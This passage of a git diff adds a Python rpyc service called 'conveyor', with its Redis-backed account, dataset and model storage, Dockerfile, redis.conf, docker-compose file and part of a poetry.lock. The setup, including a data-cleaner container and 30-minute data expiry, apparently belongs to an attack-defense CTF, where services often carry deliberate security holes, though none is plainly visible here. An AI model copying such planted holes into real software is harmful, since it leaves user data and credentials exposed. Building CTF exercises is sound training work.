+        self.model_conveyor = ModelConveyor(self.rng)
+
+    def on_connect(self, conn: rpyc.Connection):
+        endpoints = cast(
+            tuple[tuple[str, str], tuple[str, str]], conn._config["endpoints"]
+        )
+
+        self.logger = self.logger.bind(
+            local=f"{endpoints[0][0]}:{endpoints[0][1]}",
+            remote=f"{endpoints[1][0]}:{endpoints[1][1]}",
+            connid=conn._config["connid"],
+        )
+
+        self.logger.info("client connected")
+
+    def on_disconnect(self, conn):
+        self.logger.info("client disconnected")
+
+    def create_account(self) -> str:
+        """
+        Create new account and return an access key which can be used for authentication.
+
+        This connection will be immediatelly authenticated as the created account.
+        """
+
+        access_key = secrets.token_bytes(config.ACCESS_KEY_BYTES)
+        account_id = uuid4()
+
+        try:
+            result = self.repository.save_account_creds(account_id, access_key)
+        except Exception as err:
+            self.logger.error(
+                "unexpectedly failed to save account credentials to repository",
+                error=str(err),
+                stack_info=True,
+            )
+            raise UNEXPECTED_ERROR
+
+        if not result:
+            raise Exception("credential generation has failed, please retry")
+
+        self.account_id = account_id
+        self.__logger_with_account_id()
+        self.logger.info("created new account")
+
+        return GoldConveyorService.__encode_access_key(access_key)
+
+    def authenticate(self, access_key: str):
+        """
+        Authenticate using the provided access key.
+        """
+
+        access_key = str(access_key)
+
+        try:
+            access_key_bytes = GoldConveyorService.__decode_access_key(access_key)
+        except ValueError:
+            raise INVALID_ACCESS_KEY_ERROR
+
+        try:
+            result = self.repository.authenticate_by_creds(access_key_bytes)
+        except Exception as err:
+            self.logger.error(
+                "unexpectedly failed to authenticate client",
+                error=str(err),
+                stack_info=True,
+            )
+            raise UNEXPECTED_ERROR
+
+        if result is None:
+            raise INVALID_ACCESS_KEY_ERROR
+
+        self.account_id = result
+        self.__logger_with_account_id()
+        self.logger.info("client authenticated")
+
+    def save_dataset(self, df: pd.DataFrame, name: str, description: str):
+        """
+        Save dataframe as dataset with specified name.
+        This call requires authentication.
+        """
+
+        if self.account_id is None:
+            raise UNAUTHENTICATED_ERROR
+        elif len(name.encode()) > config.MAX_DATA_LEN:
+            raise ValueError(
+                f"dataset name should not be longer than {config.MAX_DATA_LEN} bytes"
+            )
+        elif len(description.encode()) > config.MAX_DATA_LEN:
+            raise ValueError(
+                f"dataset description should not be longer than {config.MAX_DATA_LEN} bytes"
+            )
+
+        name = str(name)
+        description = str(description)
+        file_id = uuid4()
+
+        try:
+            with self.files.open_write(file_id) as f:
+                df.to_feather(f)
+        except Exception as err:
+            self.logger.error(
+                "unexpectedly failed to save dataframe to file",
+                file_id=str(file_id),
+                error=str(err),
+                stack_info=True,
+            )
+            raise UNEXPECTED_ERROR
+
+        try:
+            self.repository.save_dataset(
+                self.account_id,
+                storage.DataSet(name=name, description=description, file_id=file_id),
+            )
+        except Exception as err:
+            self.logger.error(
+                "unexpectedly failed to save dataset info to repository",
+                file_id=str(file_id),
+                name=name,
+                error=str(err),
+                stack_info=True,
+            )
+            raise UNEXPECTED_ERROR
+
+        self.logger.info("saved new dataset", file_id=str(file_id), name=name)
+
+    def list_datasets(self) -> list[DataSet]:
+        """
+        Return names and descriptions of saved datasets.
+        This call requires authentication.
+        """
+
+        if self.account_id is None:
+            raise UNAUTHENTICATED_ERROR
+
+        try:
+            datasets = self.repository.list_datasets(self.account_id)
+        except Exception as err:
+            self.logger.error(
+                "unexpectedly failed to list datasets in repository",
+                error=str(err),
+                stack_info=True,
+            )
+            raise UNEXPECTED_ERROR
+
+        return list(map(DataSet.from_repository, datasets))
+
+    def load_dataset(self, name: str) -> DataFrame:
+        """
+        Load dataframe from dataset with the specified name.
+        This call requires authentication.
+        """
+
+        if self.account_id is None:
+            raise UNAUTHENTICATED_ERROR
+
+        name = str(name)
+
+        try:
+            dataset = self.repository.get_dataset(self.account_id, name)
+        except Exception as err:
+            self.logger.error(
+                "unexpectedly failed to get dataset from repository",
+                error=str(err),
+                stack_info=True,
+            )
+            raise UNEXPECTED_ERROR
+
+        if dataset is None:
+            raise KeyError("no dataset with such name exists")
+
+        try:
+            with self.files.open_read(dataset.file_id) as f:
+                df = pd.read_feather(f)
+        except Exception as err:
+            self.logger.error(
+                "unexpectedly failed to read dataframe from file",
+                file_id=dataset.file_id,
+                name=dataset.name,
+                error=str(err),
+                stack_info=True,
+            )
+            raise UNEXPECTED_ERROR
+
+        return DataFrame(df)
+
+    def save_model(self, model: Model, name: str, description: str):
+        """
+        Save model with specified name.
+        This call requires authentication.
+        """
+
+        if self.account_id is None:
+            raise UNAUTHENTICATED_ERROR
+        elif len(name.encode()) > config.MAX_DATA_LEN:
+            raise ValueError(
+                f"model name should not be longer than {config.MAX_DATA_LEN} bytes"
+            )
+        elif len(description.encode()) > config.MAX_DATA_LEN:
+            raise ValueError(
+                f"model description should not be longer than {config.MAX_DATA_LEN} bytes"
+            )
+
+        name = str(name)
+        description = str(description)
+        file_id = uuid4()
+
+        model.name = name
+        model.description = description
+
+        try:
+            with self.files.open_write(file_id) as f:
+                model.save(f)
+        except Exception as err:
+            self.logger.error(
+                "unexpectedly failed to save model to file",
+                file_id=str(file_id),
+                error=str(err),
+                stack_info=True,
+            )
+            raise UNEXPECTED_ERROR
+
+        try:
+            self.repository.save_model(
+                self.account_id, storage.Model(name=name, file_id=file_id)
+            )
+        except Exception as err:
+            self.logger.error(
+                "unexpectedly failed to save model info to repository",
+                file_id=str(file_id),
+                name=name,
+                error=str(err),
+                stack_info=True,
+            )
+            raise UNEXPECTED_ERROR
+
+        self.logger.info("saved new model", file_id=str(file_id), name=name)
+
+    def list_models(self) -> list[str]:
+        """
+        Return names of saved models.
+        This call requires authentication.
+        """
+
+        if self.account_id is None:
+            raise UNAUTHENTICATED_ERROR
+
+        try:
+            models = self.repository.list_models(self.account_id)
+        except Exception as err:
+            self.logger.error(
+                "unexpectedly failed to list models in repository",
+                error=str(err),
+                stack_info=True,
+            )
+            raise UNEXPECTED_ERROR
+
+        return [m.name for m in models]
+
+    def load_model(self, name: str) -> Model:
+        """
+        Load model with the specified name.
+        This call requires authentication.
+        """
+
+        if self.account_id is None:
+            raise UNAUTHENTICATED_ERROR
+
+        name = str(name)
+
+        try:
+            model_info = self.repository.get_model(self.account_id, name)
+        except Exception as err:
+            self.logger.error(
+                "unexpectedly failed to get model from repository",
+                error=str(err),
+                stack_info=True,
+            )
+            raise UNEXPECTED_ERROR
+
+        if model_info is None:
+            raise KeyError("no model with such name exists")
+
+        try:
+            with self.files.open_read(model_info.file_id) as f:
+                model = Model.load(f)
+        except Exception as err:
+            self.logger.error(
+                "unexpectedly failed to read dataframe from file",
+                file_id=model_info.file_id,
+                name=model_info.name,
+                error=str(err),
+                stack_info=True,
+            )
+            raise UNEXPECTED_ERROR
+
+        return model
+
+    def __logger_with_account_id(self):
+        self.logger = self.logger.bind(account_id=str(self.account_id))
+
+    @staticmethod
+    def __encode_access_key(access_key: bytes) -> str:
+        return b85encode(access_key).decode()
+
+    @staticmethod
+    def __decode_access_key(access_key: str) -> bytes:
+        return b85decode(access_key)
diff --git a/services/conveyor/conveyor/storage.py b/services/conveyor/conveyor/storage.py
new file mode 100644
index 0000000..99bb989
--- /dev/null
+++ b/services/conveyor/conveyor/storage.py
@@ -0,0 +1,179 @@
+from dataclasses import dataclass
+from pathlib import Path
+from typing import Optional, cast
+from uuid import UUID
+
+import redis
+
+
+@dataclass
+class DataSet:
+    name: str
+    description: str
+    file_id: UUID
+
+
+@dataclass
+class Model:
+    name: str
+    file_id: UUID
+
+
+class RedisRepository:
+    def __init__(self, redis_url: str, ttl_seconds: int):
+        self.ttl = ttl_seconds
+        self.redis = cast(
+            redis.Redis,
+            redis.Redis.from_url(redis_url, protocol=3, decode_responses=True),
+        )
+        self.redis.ping()
+
+    def close(self):
+        self.redis.close()
+
+    def save_account_creds(self, account_id: UUID, access_key: bytes) -> bool:
+        """
+        Returns true if access_key wasn't previously bound to any account_id.
+        """
+
+        result = self.redis.set(
+            RedisRepository.__credentials_key(access_key),
+            str(account_id),
+            ex=self.ttl,
+            nx=True,
+        )
+
+        return result == True
+
+    def authenticate_by_creds(self, access_key: bytes) -> Optional[UUID]:
+        """
+        Returns the parsed account ID associated with this access_key, or None.
+        """
+
+        account_id = cast(
+            Optional[str], self.redis.get(RedisRepository.__credentials_key(access_key))
+        )
+        if account_id is None:
+            return None
+
+        return UUID(hex=account_id)
+
+    def save_dataset(self, account_id: UUID, dataset: DataSet):
+        """
+        Saves the dataset entry for the specified account.
+        """
+
+        key = RedisRepository.__datasets_key(account_id)
+
+        pl = self.redis.pipeline(transaction=True)
+        pl.hset(
+            key,
+            dataset.name,
+            RedisRepository.__encode_dataset(dataset),
+        )
+        pl.expire(key, self.ttl)
+        pl.execute()
+
+    def list_datasets(self, account_id: UUID) -> list[DataSet]:
+        """
+        List datasets saved for the specified account.
+        """
+
+        result = cast(
+            dict[str, str],
+            self.redis.hgetall(RedisRepository.__datasets_key(account_id)),
+        )
+
+        return [
+            RedisRepository.__decode_dataset(name, value)
+            for name, value in result.items()
+        ]
+
+    def get_dataset(self, account_id: UUID, name: str) -> Optional[DataSet]:
+        """
+        Returns the dataset entry saved for the specified account with such name, or None.
+        """
+
+        result = cast(
+            Optional[str],
+            self.redis.hget(RedisRepository.__datasets_key(account_id), name),
+        )
+        if result is None:
+            return None
+
+        return RedisRepository.__decode_dataset(name, result)
+
+    def save_model(self, account_id: UUID, model: Model):
+        """
+        Saves the model entry for the specified account.
+        """
+
+        key = RedisRepository.__models_key(account_id)
+
+        pl = self.redis.pipeline(transaction=True)
+        pl.hset(key, model.name, str(model.file_id))
+        pl.expire(key, self.ttl)
+        pl.execute()
+
+    def list_models(self, account_id: UUID) -> list[Model]:
+        """
+        List models saved for the specified account.
+        """
+
+        result = cast(
+            dict[str, str], self.redis.hgetall(RedisRepository.__models_key(account_id))
+        )
+
+        return [Model(name=name, file_id=UUID(value)) for name, value in result.items()]
+
+    def get_model(self, account_id: UUID, name: str) -> Optional[Model]:
+        """
+        Returns the model entry saved for the specified account with such name, or None.
+        """
+
+        result = cast(
+            Optional[str],
+            self.redis.hget(RedisRepository.__models_key(account_id), name),
+        )
+        if result is None:
+            return None
+
+        return Model(name=name, file_id=UUID(result))
+
+    @staticmethod
+    def __credentials_key(key: bytes) -> str:
+        return f"credentials:{key.hex()}"
+
+    @staticmethod
+    def __datasets_key(account_id: UUID) -> str:
+        return f"datasets:{account_id}"
+
+    @staticmethod
+    def __models_key(account_id: UUID) -> str:
+        return f"models:{account_id}"
+
+    @staticmethod
+    def __encode_dataset(dataset: DataSet) -> str:
+        return f"{dataset.file_id}\n{dataset.description}"
+
+    @staticmethod
+    def __decode_dataset(name: str, value: str) -> DataSet:
+        file_id_str, description = value.split("\n", maxsplit=1)
+        file_id = UUID(hex=file_id_str)
+
+        return DataSet(name=name, file_id=file_id, description=description)
+
+
+class FileStorage:
+    def __init__(self, dir: Path):
+        self.dir = dir
+        self.dir.mkdir(parents=True, exist_ok=True)
+
+    def open_read(self, file_id: UUID):
+        return open(self.__build_path(file_id), "rb")
+
+    def open_write(self, file_id: UUID):
+        return open(self.__build_path(file_id), "wb")
+
+    def __build_path(self, file_id: UUID) -> Path:
+        return self.dir.joinpath(str(file_id))
diff --git a/services/conveyor/deploy/Dockerfile b/services/conveyor/deploy/Dockerfile
new file mode 100644
index 0000000..6bc5472
--- /dev/null
+++ b/services/conveyor/deploy/Dockerfile
@@ -0,0 +1,33 @@
+FROM python:3.11.7-slim-bookworm
+
+ENV \
+  PYTHONUNBUFFERED=1 \
+  PIP_DISABLE_PIP_VERSION_CHECK=on \
+  PIP_DEFAULT_TIMEOUT=100 \
+  POETRY_VIRTUALENVS_CREATE=false
+WORKDIR /conveyor
+
+RUN \
+  --mount=type=cache,target=/root/.cache/pip \
+  pip install -U pip setuptools && \
+  pip install poetry==1.7.1
+
+COPY pyproject.toml poetry.lock .
+RUN \
+  --mount=type=cache,target=/root/.cache/pip \
+  --mount=type=cache,target=/root/.cache/pypoetry \
+  poetry install --no-root --no-interaction --no-ansi
+
+COPY conveyor/*.py ./conveyor/
+COPY scripts/*.py ./scripts/
+RUN \
+  --mount=type=cache,target=/root/.cache/pip \
+  --mount=type=cache,target=/root/.cache/pypoetry \
+  poetry install --no-interaction --no-ansi
+
+RUN mkdir ./data && \
+  chmod -R 444 . && \
+  chmod 555 . ./conveyor ./scripts && \
+  chmod 777 ./data
+USER nobody
+CMD ["poetry", "run", "conveyor-server"]
diff --git a/services/conveyor/deploy/redis.conf b/services/conveyor/deploy/redis.conf
new file mode 100644
index 0000000..ebd120e
--- /dev/null
+++ b/services/conveyor/deploy/redis.conf
@@ -0,0 +1,4 @@
+timeout 300
+save 300 10 120 100 60 1000
+appendonly yes
+user default on nopass -@all +PING +MULTI +EXEC +EXPIRE +EXPIREAT +PEXPIRE +PEXPIREAT +SET +GET +HSET +HGET +HGETALL ~*
diff --git a/services/conveyor/docker-compose.yml b/services/conveyor/docker-compose.yml
new file mode 100644
index 0000000..d772575
--- /dev/null
+++ b/services/conveyor/docker-compose.yml
@@ -0,0 +1,51 @@
+services:
+  conveyor:
+    build:
+      context: .
+      dockerfile: ./deploy/Dockerfile
+    cpus: 2
+    mem_limit: 2G
+    pids_limit: 512
+    volumes:
+      - conveyor-data:/conveyor/data
+    environment:
+      CONVEYOR_LISTEN_PORT: 12378
+      CONVEYOR_REDIS_URL: redis://redis:6379
+      CONVEYOR_DATA_DIR: /conveyor/data
+      CONVEYOR_DATA_TTL: P0DT0H30M0S
+    ports:
+      - 12378:12378
+    depends_on:
+      redis:
+        condition: service_healthy
+    restart: unless-stopped
+  cleaner:
+    image: c4tbuts4d/dedcleaner:latest
+    cpus: 1
+    mem_limit: 128M
+    pids_limit: 128
+    volumes:
+      - conveyor-data:/data
+    environment:
+      DELETE_AFTER: 30m
+      SLEEP: 5m
+      DIRS: /data
+    restart: unless-stopped
+  redis:
+    image: redis:7.2.4-alpine3.19
+    cpus: 2
+    mem_limit: 512M
+    pids_limit: 512
+    volumes:
+      - ./deploy/redis.conf:/usr/local/etc/redis/redis.conf:ro
+      - redis-data:/data
+    command:
+      - /usr/local/etc/redis/redis.conf
+    healthcheck:
+      test: redis-cli ping
+      interval: 5s
+      timeout: 3s
+    restart: unless-stopped
+volumes:
+  conveyor-data:
+  redis-data:
diff --git a/services/conveyor/poetry.lock b/services/conveyor/poetry.lock
new file mode 100644
index 0000000..3379b9c
--- /dev/null
+++ b/services/conveyor/poetry.lock
@@ -0,0 +1,908 @@
+# This file is automatically @generated by Poetry 1.7.1 and should not be changed by hand.
+
+[[package]]
+name = "annotated-types"
+version = "0.6.0"
+description = "Reusable constraint types to use with typing.Annotated"
+optional = false
+python-versions = ">=3.8"
+files = [
+    {file = "annotated_types-0.6.0-py3-none-any.whl", hash = "sha256:0641064de18ba7a25dee8f96403ebc39113d0cb953a01429249d5c7564666a43"},
+    {file = "annotated_types-0.6.0.tar.gz", hash = "sha256:563339e807e53ffd9c267e99fc6d9ea23eb8443c08f112651963e24e22f84a5d"},
+]
+
+[[package]]
+name = "async-timeout"
+version = "4.0.3"
+description = "Timeout context manager for asyncio programs"
+optional = false
+python-versions = ">=3.7"
+files = [
+    {file = "async-timeout-4.0.3.tar.gz", hash = "sha256:4640d96be84d82d02ed59ea2b7105a0f7b33abe8703703cd0ab0bf87c427522f"},
+    {file = "async_timeout-4.0.3-py3-none-any.whl", hash = "sha256:7405140ff1230c310e51dc27b3145b9092d659ce68ff733fb0cefe3ee42be028"},
+]
+
+[[package]]
+name = "hiredis"
+version = "2.3.2"
+description = "Python wrapper for hiredis"
+optional = false
+python-versions = ">=3.7"
+files = [
+    {file = "hiredis-2.3.2-cp310-cp310-macosx_10_15_universal2.whl", hash = "sha256:742093f33d374098aa21c1696ac6e4874b52658c870513a297a89265a4d08fe5"},
+    {file = "hiredis-2.3.2-cp310-cp310-macosx_10_15_x86_64.whl", hash = "sha256:9e14fb70ca4f7efa924f508975199353bf653f452e4ef0a1e47549e208f943d7"},
+    {file = "hiredis-2.3.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:6d7302b4b17fcc1cc727ce84ded7f6be4655701e8d58744f73b09cb9ed2b13df"},
+    {file = "hiredis-2.3.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ed63e8b75c193c5e5a8288d9d7b011da076cc314fafc3bfd59ec1d8a750d48c8"},
+    {file = "hiredis-2.3.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6b4edee59dc089bc3948f4f6fba309f51aa2ccce63902364900aa0a553a85e97"},
+    {file = "hiredis-2.3.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a6481c3b7673a86276220140456c2a6fbfe8d1fb5c613b4728293c8634134824"},
+    {file = "hiredis-2.3.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:684840b014ce83541a087fcf2d48227196576f56ae3e944d4dfe14c0a3e0ccb7"},
+    {file = "hiredis-2.3.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1c4c0bcf786f0eac9593367b6279e9b89534e008edbf116dcd0de956524702c8"},
+    {file = "hiredis-2.3.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:66ab949424ac6504d823cba45c4c4854af5c59306a1531edb43b4dd22e17c102"},
+    {file = "hiredis-2.3.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:322c668ee1c12d6c5750a4b1057e6b4feee2a75b3d25d630922a463cfe5e7478"},
+    {file = "hiredis-2.3.2-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:bfa73e3f163c6e8b2ec26f22285d717a5f77ab2120c97a2605d8f48b26950dac"},
+    {file = "hiredis-2.3.2-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:7f39f28ffc65de577c3bc0c7615f149e35bc927802a0f56e612db9b530f316f9"},
+    {file = "hiredis-2.3.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:55ce31bf4711da879b96d511208efb65a6165da4ba91cb3a96d86d5a8d9d23e6"},
+    {file = "hiredis-2.3.2-cp310-cp310-win32.whl", hash = "sha256:3dd63d0bbbe75797b743f35d37a4cca7ca7ba35423a0de742ae2985752f20c6d"},
+    {file = "hiredis-2.3.2-cp310-cp310-win_amd64.whl", hash = "sha256:ea002656a8d974daaf6089863ab0a306962c8b715db6b10879f98b781a2a5bf5"},
+    {file = "hiredis-2.3.2-cp311-cp311-macosx_10_15_universal2.whl", hash = "sha256:adfbf2e9c38b77d0db2fb32c3bdaea638fa76b4e75847283cd707521ad2475ef"},
+    {file = "hiredis-2.3.2-cp311-cp311-macosx_10_15_x86_64.whl", hash = "sha256:80b02d27864ebaf9b153d4b99015342382eeaed651f5591ce6f07e840307c56d"},
+    {file = "hiredis-2.3.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:bd40d2e2f82a483de0d0a6dfd8c3895a02e55e5c9949610ecbded18188fd0a56"},
+    {file = "hiredis-2.3.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dfa904045d7cebfb0f01dad51352551cce1d873d7c3f80c7ded7d42f8cac8f89"},
+    {file = "hiredis-2.3.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:28bd184b33e0dd6d65816c16521a4ba1ffbe9ff07d66873c42ea4049a62fed83"},
+    {file = "hiredis-2.3.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f70481213373d44614148f0f2e38e7905be3f021902ae5167289413196de4ba4"},
+    {file = "hiredis-2.3.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eb8797b528c1ff81eef06713623562b36db3dafa106b59f83a6468df788ff0d1"},
+    {file = "hiredis-2.3.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:02fc71c8333586871602db4774d3a3e403b4ccf6446dc4603ec12df563127cee"},
+    {file = "hiredis-2.3.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:0da56915bda1e0a49157191b54d3e27689b70960f0685fdd5c415dacdee2fbed"},
+    {file = "hiredis-2.3.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:e2674a5a3168349435b08fa0b82998ed2536eb9acccf7087efe26e4cd088a525"},
+    {file = "hiredis-2.3.2-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:dc1c3fd49930494a67dcec37d0558d99d84eca8eb3f03b17198424538f2608d7"},
+    {file = "hiredis-2.3.2-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:14c7b43205e515f538a9defb4e411e0f0576caaeeda76bb9993ed505486f7562"},
+    {file = "hiredis-2.3.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:7bac7e02915b970c3723a7a7c5df4ba7a11a3426d2a3f181e041aa506a1ff028"},
+    {file = "hiredis-2.3.2-cp311-cp311-win32.whl", hash = "sha256:63a090761ddc3c1f7db5e67aa4e247b4b3bb9890080bdcdadd1b5200b8b89ac4"},
+    {file = "hiredis-2.3.2-cp311-cp311-win_amd64.whl", hash = "sha256:70d226ab0306a5b8d408235cabe51d4bf3554c9e8a72d53ce0b3c5c84cf78881"},
+    {file = "hiredis-2.3.2-cp312-cp312-macosx_10_15_universal2.whl", hash = "sha256:5c614552c6bd1d0d907f448f75550f6b24fb56cbfce80c094908b7990cad9702"},
+    {file = "hiredis-2.3.2-cp312-cp312-macosx_10_15_x86_64.whl", hash = "sha256:9c431431abf55b64347ddc8df68b3ef840269cb0aa5bc2d26ad9506eb4b1b866"},
+    {file = "hiredis-2.3.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:a45857e87e9d2b005e81ddac9d815a33efd26ec67032c366629f023fe64fb415"},
+    {file = "hiredis-2.3.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e138d141ec5a6ec800b6d01ddc3e5561ce1c940215e0eb9960876bfde7186aae"},
+    {file = "hiredis-2.3.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:387f655444d912a963ab68abf64bf6e178a13c8e4aa945cb27388fd01a02e6f1"},
+    {file = "hiredis-2.3.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4852f4bf88f0e2d9bdf91279892f5740ed22ae368335a37a52b92a5c88691140"},
+    {file = "hiredis-2.3.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d711c107e83117129b7f8bd08e9820c43ceec6204fff072a001fd82f6d13db9f"},
+    {file = "hiredis-2.3.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:92830c16885f29163e1c2da1f3c1edb226df1210ec7e8711aaabba3dd0d5470a"},
+    {file = "hiredis-2.3.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:16b01d9ceae265d4ab9547be0cd628ecaff14b3360357a9d30c029e5ae8b7e7f"},
+    {file = "hiredis-2.3.2-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:5986fb5f380169270a0293bebebd95466a1c85010b4f1afc2727e4d17c452512"},
+    {file = "hiredis-2.3.2-cp312-cp312-musllinux_1_1_ppc64le.whl", hash = "sha256:49532d7939cc51f8e99efc326090c54acf5437ed88b9c904cc8015b3c4eda9c9"},
+    {file = "hiredis-2.3.2-cp312-cp312-musllinux_1_1_s390x.whl", hash = "sha256:8f34801b251ca43ad70691fb08b606a2e55f06b9c9fb1fc18fd9402b19d70f7b"},
+    {file = "hiredis-2.3.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:7298562a49d95570ab1c7fc4051e72824c6a80e907993a21a41ba204223e7334"},
+    {file = "hiredis-2.3.2-cp312-cp312-win32.whl", hash = "sha256:e1d86b75de787481b04d112067a4033e1ecfda2a060e50318a74e4e1c9b2948c"},
+    {file = "hiredis-2.3.2-cp312-cp312-win_amd64.whl", hash = "sha256:6dbfe1887ffa5cf3030451a56a8f965a9da2fa82b7149357752b67a335a05fc6"},
+    {file = "hiredis-2.3.2-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:4fc242e9da4af48714199216eb535b61e8f8d66552c8819e33fc7806bd465a09"},
+    {file = "hiredis-2.3.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e81aa4e9a1fcf604c8c4b51aa5d258e195a6ba81efe1da82dea3204443eba01c"},
+    {file = "hiredis-2.3.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:419780f8583ddb544ffa86f9d44a7fcc183cd826101af4e5ffe535b6765f5f6b"},
+    {file = "hiredis-2.3.2-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6871306d8b98a15e53a5f289ec1106a3a1d43e7ab6f4d785f95fcef9a7bd9504"},
+    {file = "hiredis-2.3.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:88cb0b35b63717ef1e41d62f4f8717166f7c6245064957907cfe177cc144357c"},
+    {file = "hiredis-2.3.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8c490191fa1218851f8a80c5a21a05a6f680ac5aebc2e688b71cbfe592f8fec6"},
+    {file = "hiredis-2.3.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:4baf4b579b108062e91bd2a991dc98b9dc3dc06e6288db2d98895eea8acbac22"},
+    {file = "hiredis-2.3.2-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:e627d8ef5e100556e09fb44c9571a432b10e11596d3c4043500080ca9944a91a"},
+    {file = "hiredis-2.3.2-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:ba3dc0af0def8c21ce7d903c59ea1e8ec4cb073f25ece9edaec7f92a286cd219"},
+    {file = "hiredis-2.3.2-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:56e9b7d6051688ca94e68c0c8a54a243f8db841911b683cedf89a29d4de91509"},
+    {file = "hiredis-2.3.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:380e029bb4b1d34cf560fcc8950bf6b57c2ef0c9c8b7c7ac20b7c524a730fadd"},
+    {file = "hiredis-2.3.2-cp37-cp37m-win32.whl", hash = "sha256:948d9f2ca7841794dd9b204644963a4bcd69ced4e959b0d4ecf1b8ce994a6daa"},
+    {file = "hiredis-2.3.2-cp37-cp37m-win_amd64.whl", hash = "sha256:cfa67afe2269b2d203cd1389c00c5bc35a287cd57860441fb0e53b371ea6a029"},
+    {file = "hiredis-2.3.2-cp38-cp38-macosx_10_15_universal2.whl", hash = "sha256:bcbe47da0aebc00a7cfe3ebdcff0373b86ce2b1856251c003e3d69c9db44b5a7"},
+    {file = "hiredis-2.3.2-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:f2c9c0d910dd3f7df92f0638e7f65d8edd7f442203caf89c62fc79f11b0b73f8"},
+    {file = "hiredis-2.3.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:01b6c24c0840ac7afafbc4db236fd55f56a9a0919a215c25a238f051781f4772"},
+    {file = "hiredis-2.3.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c1f567489f422d40c21e53212a73bef4638d9f21043848150f8544ef1f3a6ad1"},
+    {file = "hiredis-2.3.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:28adecb308293e705e44087a1c2d557a816f032430d8a2a9bb7873902a1c6d48"},
+    {file = "hiredis-2.3.2-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:27e9619847e9dc70b14b1ad2d0fb4889e7ca18996585c3463cff6c951fd6b10b"},
+    {file = "hiredis-2.3.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9a0026cfbf29f07649b0e34509091a2a6016ff8844b127de150efce1c3aff60b"},
+    {file = "hiredis-2.3.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f9de7586522e5da6bee83c9cf0dcccac0857a43249cb4d721a2e312d98a684d1"},
+    {file = "hiredis-2.3.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:e58494f282215fc461b06709e9a195a24c12ba09570f25bdf9efb036acc05101"},
+    {file = "hiredis-2.3.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:de3a32b4b76d46f1eb42b24a918d51d8ca52411a381748196241d59a895f7c5c"},
+    {file = "hiredis-2.3.2-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:1979334ccab21a49c544cd1b8d784ffb2747f99a51cb0bd0976eebb517628382"},
+    {file = "hiredis-2.3.2-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:0c0773266e1c38a06e7593bd08870ac1503f5f0ce0f5c63f2b4134b090b5d6a4"},
+    {file = "hiredis-2.3.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:bd1cee053416183adcc8e6134704c46c60c3f66b8faaf9e65bf76191ca59a2f7"},
+    {file = "hiredis-2.3.2-cp38-cp38-win32.whl", hash = "sha256:5341ce3d01ef3c7418a72e370bf028c7aeb16895e79e115fe4c954fff990489e"},
